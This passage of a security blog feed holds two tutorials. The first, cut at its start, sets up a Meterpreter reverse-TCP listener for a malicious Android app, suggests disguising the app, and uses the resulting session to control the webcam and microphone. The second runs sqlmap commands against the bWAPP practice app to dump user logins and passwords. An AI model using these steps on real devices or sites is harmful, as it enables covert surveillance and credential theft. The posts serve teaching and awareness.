&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Attacker Setup&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Now that the victim has successfully 
installed the app the attacker needs to set up a listener on their 
machine. We can do this through the console similar to above but 
Armitage makes it even easier by using the dropdown structure in the top
 right. Select exploit &amp;gt; multi &amp;gt; handler and double click.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3CaU-FiyIKTZE_GWj9SyOpgr-VxX5pPoyI95Yn84k3lD5GZlK3nuItiqzSUbMSPpoVctkaTaIqewRpSO0gmvFKCDe-z8bR73HE0PatnO9w5yDTfAjxO80J21Jvd70po_kSBUnSP1O/s1600/Capture.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3CaU-FiyIKTZE_GWj9SyOpgr-VxX5pPoyI95Yn84k3lD5GZlK3nuItiqzSUbMSPpoVctkaTaIqewRpSO0gmvFKCDe-z8bR73HE0PatnO9w5yDTfAjxO80J21Jvd70po_kSBUnSP1O/s1600/Capture.PNG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&amp;nbsp;The multi/handler box should appear. You need to make two changes. The LPORT to 4444 and the payload to android/meterpreter/reverse_tcp. When this is done hit the launch button.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNb2_TtVyPNh_K-rWlgBmNXn9IN8PgxLF7m9a8cjF28KLpmJ1ABwhl2PUh9Aod7ZHHOeiNbTb5VqUjKQHd76DNjiPYSKezhlRdvDa91Qy0CKXCVYvFpUrgz58-_LvMsOX87BSQyz8J/s1600/handler.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNb2_TtVyPNh_K-rWlgBmNXn9IN8PgxLF7m9a8cjF28KLpmJ1ABwhl2PUh9Aod7ZHHOeiNbTb5VqUjKQHd76DNjiPYSKezhlRdvDa91Qy0CKXCVYvFpUrgz58-_LvMsOX87BSQyz8J/s1600/handler.PNG&quot; height=&quot;217&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;APK Installation&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
When the program is installing you will see the usual list of permissions. It will list quite quite a few as we want full control of the device. From an awareness point of view you should always check out the permissions before installing. For example if I am installing a calculator I need to ask myself why does it need to activate my webcam ;)&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKs5APpih7wXOtUp_0ZtqH06SFdVa0sjaNYW3j8RykX6J69ciQ_hpEZR2-bBdX77IjIP9mFtTMP9LaaiZohFpCh0gd7w5uyGj1ElkF9htVZl20p-PCrlt6DR9m7-C2Xbz65MtdxbMK/s1600/Screenshot_2014-04-30-18-24-55.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKs5APpih7wXOtUp_0ZtqH06SFdVa0sjaNYW3j8RykX6J69ciQ_hpEZR2-bBdX77IjIP9mFtTMP9LaaiZohFpCh0gd7w5uyGj1ElkF9htVZl20p-PCrlt6DR9m7-C2Xbz65MtdxbMK/s1600/Screenshot_2014-04-30-18-24-55.png&quot; height=&quot;320&quot; width=&quot;180&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Once it has installed you should see an &quot;M&quot; logo on your device with the title MainActivity. You can take this a step further and change the logo picture and title using apktools. When you open the application you will see a button with reverse_tcp displayed on it again you can change this to make it more realistic.&lt;br /&gt;
&lt;br /&gt;
When you click on this button this will create a remote session with the attackers machine.The target machine on Armitage should now turn red with a lightning effect!! At this point we can open a meterpreter prompt by right clicking on the host then selecting Meterpreter X &amp;gt; Interact &amp;gt; Meterpreter Shell&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB3Exs-iPxt1B7rv7dszKRVBDAekn8dxOjW6w76VhVCi3482hEVW84gt1hlsHR_0lhilkxR4_XNOf3bC8mjP3hw85j6ULGCgdVKQKOId-r44PksmXae7YmI5GZXTh1wbez8Vz_d7QP/s1600/exploit.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB3Exs-iPxt1B7rv7dszKRVBDAekn8dxOjW6w76VhVCi3482hEVW84gt1hlsHR_0lhilkxR4_XNOf3bC8mjP3hw85j6ULGCgdVKQKOId-r44PksmXae7YmI5GZXTh1wbez8Vz_d7QP/s1600/exploit.PNG&quot; height=&quot;197&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Another tab should open below with Meterpreter X as its title. We can now interact with the host. If you type &quot;help&quot; you will get a list of available commands. You can list the processes running or move about the various directories. At the bottom you should see record_mic and webcam options.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSC8v_UJkY43XvZ8SS1u8wpO7MzDj7dp_5U0gsu-DD1bEIIO68MeBUFOfHGqV01UN0lgvuqTbytwNIiAjkAQJuU3pfaU5-nlZtNu9dwhXzSnb9EpybtP6mLnz4kGGmrwgoyS9RSvb4/s1600/webcam.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSC8v_UJkY43XvZ8SS1u8wpO7MzDj7dp_5U0gsu-DD1bEIIO68MeBUFOfHGqV01UN0lgvuqTbytwNIiAjkAQJuU3pfaU5-nlZtNu9dwhXzSnb9EpybtP6mLnz4kGGmrwgoyS9RSvb4/s1600/webcam.PNG&quot; height=&quot;106&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
You can take a webcam_snap or stream. There is also capability to switch between front and back camera.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwWUfl0zzefh0bGhk4qIq-h6UDj4UwYC9JVCw1M6cZn5aKZMQ4QOv6g90qWyROhnKc2uHpvvi9A6wHNfyVsEgVvoiY72R_tRpxbK801P1tAc6XMxNRiCjjorWkq8-8GRVYlmW3Nif2/s1600/lDJuuaLF.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwWUfl0zzefh0bGhk4qIq-h6UDj4UwYC9JVCw1M6cZn5aKZMQ4QOv6g90qWyROhnKc2uHpvvi9A6wHNfyVsEgVvoiY72R_tRpxbK801P1tAc6XMxNRiCjjorWkq8-8GRVYlmW3Nif2/s1600/lDJuuaLF.jpeg&quot; height=&quot;320&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
You can also turn on the microphone on for X seconds. The file will be saved in the usr/share/armitage folder as a sound.wav&lt;br /&gt;
&lt;br /&gt;
record_mic -d 10 -f sound.wav -p false &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;So that&#39;s it, by getting a user to install a malicious application an attacker can completely control the device.Happy Hacking :)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</description><link>http://thehackpot.blogspot.com/2014/04/android-hacking-using-armitage.html</link><author>noreply@blogger.com (Anonymous)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0cZSJcy34dqDqIukF25ALnO19wHbPKG26w2x1CZFYNPlCTDCFelwbJgLmokk6creME-0VAVVQxy1NU_gK4qiRLBiiz24ldRDNkYB7z2NUoLVlDoEqu9j9IlSB7oRSJyrOG_r35H8J/s72-c/msfpayload.PNG" height="72" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8805024510347536027.post-8409242839905464950</guid><pubDate>Mon, 21 Apr 2014 15:28:00 +0000</pubDate><atom:updated>2014-05-07T15:54:01.219+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">bWAPP</category><category domain="http://www.blogger.com/atom/ns#">SQLi</category><category domain="http://www.blogger.com/atom/ns#">SQLmap</category><title>Exploiting SQL Injection with SQLmap</title><description>&lt;a href=&quot;https://www.blogger.com/blogger.g?blogID=8805024510347536027&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://www.blogger.com/blogger.g?blogID=8805024510347536027&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;/a&gt;Hi, one tool I really like to use for exploiting SQLi is SQLmap. It is available here&amp;nbsp;@&amp;nbsp;&lt;a href=&quot;http://sqlmap.org/&quot;&gt;http://sqlmap.org/&lt;/a&gt; and is also part of many distros such as Kali Linux and SamuraiWTF. It is an open source penetration testing tool that automates the 
process of detecting and exploiting SQL injection flaws and taking over 
of database servers. &lt;br /&gt;
&lt;br /&gt;
To demonstrate this powerful tool we will use bWAPP, the deliberately insecure web application. You can find more information here &lt;a href=&quot;http://www.mmeit.be/bwapp/&quot;&gt;http://www.mmeit.be/bwapp/&lt;/a&gt;. bWAPP has over 70 vulnerabilities that you can use to sharpen your skills without fear of going to jail :)&lt;br /&gt;
&lt;br /&gt;
Before we begin the demo we must first try and&amp;nbsp; understand what SQL Injection is. This type of attack occurs when an application takes untrusted data that is sent to an interpreter, in this case the database as part of a query. The attackers hostile data may then trick the interpreter into executing unintended commands. If untrusted data is used to construct SQL calls then the attacker will be able to modify the query to return data.&lt;br /&gt;
&lt;br /&gt;
In order to protect against this attack developers must validate and escape the hostile data before it reaches the interpreter. This can be done using prepared statements or parametrized queries. I will go into SQLi in more detail in a later post.&lt;br /&gt;
&lt;br /&gt;
So we have our vulnerable bWAPP page below. We know it is vulnerable because we have injected a single quote into the input field and it has returned a SQL error. From this we can deduce that the database is interpreting characters without proper validation.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim98p1yCrqfJOFB-yBNbPocoy_KprwVkXvx6tmwPANUW7AHLpvE94vbn-dKbPhBk8xVlaD-Esg-0y4_k6SKwBhUoa2qzm811pLh6ff0HVypCQzVcQV1sFIb8i36BHn6U2SdQjGrDRZ/s1600/sql2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim98p1yCrqfJOFB-yBNbPocoy_KprwVkXvx6tmwPANUW7AHLpvE94vbn-dKbPhBk8xVlaD-Esg-0y4_k6SKwBhUoa2qzm811pLh6ff0HVypCQzVcQV1sFIb8i36BHn6U2SdQjGrDRZ/s1600/sql2.png&quot; height=&quot;192&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you look at the request below you will see that title is the vulnerable parameter, so this the one we must concentrate our attack on. &lt;br /&gt;
&lt;br /&gt;
http://itsecgames.com/bWAPP/sqli_1.php?title=&#39;&amp;amp;action=search &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The next thing to do is fire up SQLmap. For this demo I am using Kali Linux but you can run it in Windows or another distro. In Kali you can open up a terminal and simply type sqlmap. There are a lot of useful options in sqlmap you can check them out here &lt;a href=&quot;https://github.com/sqlmapproject/sqlmap/wiki/Usage&quot;&gt;https://github.com/sqlmapproject/sqlmap/wiki/Usage&lt;/a&gt;&lt;br /&gt;
&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:WordDocument&gt;
  &lt;w:View&gt;Normal&lt;/w:View&gt;
  &lt;w:Zoom&gt;0&lt;/w:Zoom&gt;
  &lt;w:TrackMoves/&gt;
  &lt;w:TrackFormatting/&gt;
  &lt;w:PunctuationKerning/&gt;
  &lt;w:ValidateAgainstSchemas/&gt;
  &lt;w:SaveIfXMLInvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;
  &lt;w:IgnoreMixedContent&gt;false&lt;/w:IgnoreMixedContent&gt;
  &lt;w:AlwaysShowPlaceholderText&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;
  &lt;w:DoNotPromoteQF/&gt;
  &lt;w:LidThemeOther&gt;EN-US&lt;/w:LidThemeOther&gt;
  &lt;w:LidThemeAsian&gt;X-NONE&lt;/w:LidThemeAsian&gt;
  &lt;w:LidThemeComplexScript&gt;X-NONE&lt;/w:LidThemeComplexScript&gt;
  &lt;w:Compatibility&gt;
   &lt;w:BreakWrappedTables/&gt;
   &lt;w:SnapToGridInCell/&gt;
   &lt;w:WrapTextWithPunct/&gt;
   &lt;w:UseAsianBreakRules/&gt;
   &lt;w:DontGrowAutofit/&gt;
   &lt;w:SplitPgBreakAndParaMark/&gt;
   &lt;w:DontVertAlignCellWithSp/&gt;
   &lt;w:DontBreakConstrainedForcedTables/&gt;
   &lt;w:DontVertAlignInTxbx/&gt;
   &lt;w:Word11KerningPairs/&gt;
   &lt;w:CachedColBalance/&gt;
  &lt;/w:Compatibility&gt;
  &lt;m:mathPr&gt;
   &lt;m:mathFont m:val=&quot;Cambria Math&quot;/&gt;
   &lt;m:brkBin m:val=&quot;before&quot;/&gt;
   &lt;m:brkBinSub m:val=&quot;&amp;#45;-&quot;/&gt;
   &lt;m:smallFrac m:val=&quot;off&quot;/&gt;
   &lt;m:dispDef/&gt;
   &lt;m:lMargin m:val=&quot;0&quot;/&gt;
   &lt;m:rMargin m:val=&quot;0&quot;/&gt;
   &lt;m:defJc m:val=&quot;centerGroup&quot;/&gt;
   &lt;m:wrapIndent m:val=&quot;1440&quot;/&gt;
   &lt;m:intLim m:val=&quot;subSup&quot;/&gt;
   &lt;m:naryLim m:val=&quot;undOvr&quot;/&gt;
  &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;br /&gt;
&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:WordDocument&gt;
  &lt;w:View&gt;Normal&lt;/w:View&gt;
  &lt;w:Zoom&gt;0&lt;/w:Zoom&gt;
  &lt;w:TrackMoves/&gt;
  &lt;w:TrackFormatting/&gt;
  &lt;w:PunctuationKerning/&gt;
  &lt;w:ValidateAgainstSchemas/&gt;
  &lt;w:SaveIfXMLInvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;
  &lt;w:IgnoreMixedContent&gt;false&lt;/w:IgnoreMixedContent&gt;
  &lt;w:AlwaysShowPlaceholderText&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;
  &lt;w:DoNotPromoteQF/&gt;
  &lt;w:LidThemeOther&gt;EN-US&lt;/w:LidThemeOther&gt;
  &lt;w:LidThemeAsian&gt;X-NONE&lt;/w:LidThemeAsian&gt;
  &lt;w:LidThemeComplexScript&gt;X-NONE&lt;/w:LidThemeComplexScript&gt;
  &lt;w:Compatibility&gt;
   &lt;w:BreakWrappedTables/&gt;
   &lt;w:SnapToGridInCell/&gt;
   &lt;w:WrapTextWithPunct/&gt;
   &lt;w:UseAsianBreakRules/&gt;
   &lt;w:DontGrowAutofit/&gt;
   &lt;w:SplitPgBreakAndParaMark/&gt;
   &lt;w:DontVertAlignCellWithSp/&gt;
   &lt;w:DontBreakConstrainedForcedTables/&gt;
   &lt;w:DontVertAlignInTxbx/&gt;
   &lt;w:Word11KerningPairs/&gt;
   &lt;w:CachedColBalance/&gt;
  &lt;/w:Compatibility&gt;
  &lt;m:mathPr&gt;
   &lt;m:mathFont m:val=&quot;Cambria Math&quot;/&gt;
   &lt;m:brkBin m:val=&quot;before&quot;/&gt;
   &lt;m:brkBinSub m:val=&quot;&amp;#45;-&quot;/&gt;
   &lt;m:smallFrac m:val=&quot;off&quot;/&gt;
   &lt;m:dispDef/&gt;
   &lt;m:lMargin m:val=&quot;0&quot;/&gt;
   &lt;m:rMargin m:val=&quot;0&quot;/&gt;
   &lt;m:defJc m:val=&quot;centerGroup&quot;/&gt;
   &lt;m:wrapIndent m:val=&quot;1440&quot;/&gt;
   &lt;m:intLim m:val=&quot;subSup&quot;/&gt;
   &lt;m:naryLim m:val=&quot;undOvr&quot;/&gt;
  &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt;
&lt;/xml&gt;&lt;![endif]--&gt;The can now try and return some information. The command below will return all of the available database. The -u switch is the URL (note with the vulnerable title parameter), the cookie and the --dbs for enumerating the databases. I used the FireFox addon Cookie Manager to retrieve the cookie information but you can also run ZaProxy or Burp Suite to capture that information. &lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
sqlmap -u &quot;http://itsecgames.com/bWAPP/sqli_1.php?title=&quot; --cookie=&quot;PHPSESSID=780b97cfb3fee59b69f7d4e0345428cd;security_level=0&quot; --dbs&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi30hYUQLQ8GQgruDYQSY1Sg9Ty_jEnAQH65Kvntv46PNJ5B1ID4uaq2QPW31DpmB8OGenGQSSOJeTj32Qcvg2K_gaR3U0UWKV-wgSZ1Edb_f43LN3ke3yLNuX_-iRa0i0HDtrs0yGZ/s1600/dbs.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi30hYUQLQ8GQgruDYQSY1Sg9Ty_jEnAQH65Kvntv46PNJ5B1ID4uaq2QPW31DpmB8OGenGQSSOJeTj32Qcvg2K_gaR3U0UWKV-wgSZ1Edb_f43LN3ke3yLNuX_-iRa0i0HDtrs0yGZ/s1600/dbs.png&quot; height=&quot;109&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
We can see above that it has returned 3 databases. We can also return the current database users by using the command below:&lt;br /&gt;
&lt;br /&gt;
sqlmap -u &quot;http://itsecgames.com/bWAPP/sqli_1.php?title=&quot; 
--cookie=&quot;PHPSESSID=780b97cfb3fee59b69f7d4e0345428cd;security_level=0&quot; 
--users&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgegVX_t2HYHMwGzk0t6CDiK5fO1L7jZdljwOd3nJISDJPqd77MOQYYiUOPur5dOuYI-iVNPkuuKc-CM5QKH5NG9vUjgr5F6-x-niMIgE52IFmX62rCeyVHGLJJCo-HNfVyKyFdk_F-/s1600/databaseUsers.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgegVX_t2HYHMwGzk0t6CDiK5fO1L7jZdljwOd3nJISDJPqd77MOQYYiUOPur5dOuYI-iVNPkuuKc-CM5QKH5NG9vUjgr5F6-x-niMIgE52IFmX62rCeyVHGLJJCo-HNfVyKyFdk_F-/s1600/databaseUsers.png&quot; height=&quot;111&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Ok lets return the tables in the bWAPP database.The -D switch is for database and --tables returns the tables&lt;br /&gt;
&lt;br /&gt;
sqlmap -u &quot;http://itsecgames.com/bWAPP/sqli_1.php?title=&quot; 
--cookie=&quot;PHPSESSID=780b97cfb3fee59b69f7d4e0345428cd;security_level=0&quot; 
-D bWAPP --tables&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxhn8kCAZbohd2iDsI9531A4T-4jLcJCZKQCWQ5GNCcCwnvjrqln7qTlRmumE2b7FQn3iTITw1xkWnocWi3wTdmeA5y1SOsXJh513FEysMZQ-T_B6Chl33KwJJ1AI16VHeuLkeWStn/s1600/tables.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxhn8kCAZbohd2iDsI9531A4T-4jLcJCZKQCWQ5GNCcCwnvjrqln7qTlRmumE2b7FQn3iTITw1xkWnocWi3wTdmeA5y1SOsXJh513FEysMZQ-T_B6Chl33KwJJ1AI16VHeuLkeWStn/s1600/tables.png&quot; height=&quot;86&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
We can see that there are 4 tables returned, the users table looks interesting so lets go a step further and return the columns from the users table.&lt;br /&gt;
&lt;br /&gt;
sqlmap -u &quot;http://itsecgames.com/bWAPP/sqli_1.php?title=&quot; 
--cookie=&quot;PHPSESSID=780b97cfb3fee59b69f7d4e0345428cd;security_level=0&quot; 
-D bWAPP -T users --columns&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGg_QPeE40PxwJxPCfpjkT0TT-1bDnl0AtYwWybXuxFxw76pbPRxk1oP6DSPwtVIjEUR3Do2H6W1MSBabk9VxNsiXBemr6ZF6w51JDgRTyaLLOrjXzm4y-lM8YLu6YOXsGDjiU_fnG/s1600/columns.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGg_QPeE40PxwJxPCfpjkT0TT-1bDnl0AtYwWybXuxFxw76pbPRxk1oP6DSPwtVIjEUR3Do2H6W1MSBabk9VxNsiXBemr6ZF6w51JDgRTyaLLOrjXzm4y-lM8YLu6YOXsGDjiU_fnG/s1600/columns.png&quot; height=&quot;140&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
The last step for us is to dump out the data from the columns. You can select the interesting ones or dump all.&lt;br /&gt;
&lt;br /&gt;
sqlmap -u &quot;http://itsecgames.com/bWAPP/sqli_1.php?title=&quot; 
--cookie=&quot;PHPSESSID=780b97cfb3fee59b69f7d4e0345428cd;security_level=0&quot; 
-D bWAPP -T users -C login,email,password,secret --dump&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkwfhu7qZyCwg1a0X7o3jONfxTk3w0AYTF7cNsYoSSSs6Ei-Mnf9czgUSMQWSGerSaffSzAMzaghnHjyzXt_tw4w7O1cmiNvrpygpyemPONReYOUvvTD5JZHZXe4RmfiYwspFF2y-h/s1600/dump.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkwfhu7qZyCwg1a0X7o3jONfxTk3w0AYTF7cNsYoSSSs6Ei-Mnf9czgUSMQWSGerSaffSzAMzaghnHjyzXt_tw4w7O1cmiNvrpygpyemPONReYOUvvTD5JZHZXe4RmfiYwspFF2y-h/s1600/dump.png&quot; height=&quot;161&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
We can also work on cracking the password hashes offline. So there you have it, a really useful tool for speeding up the exploitation of SQL Injection vulnerabilities. &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; </description><link>http://thehackpot.blogspot.com/2014/04/exploiting-sql-injection-with-sqlmap.html</link><author>noreply@blogger.com (Anonymous)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim98p1yCrqfJOFB-yBNbPocoy_KprwVkXvx6tmwPANUW7AHLpvE94vbn-dKbPhBk8xVlaD-Esg-0y4_k6SKwBhUoa2qzm811pLh6ff0HVypCQzVcQV1sFIb8i36BHn6U2SdQjGrDRZ/s72-c/sql2.png" height="72" width="72"/><thr:total>0</thr:total></item></channel></rss>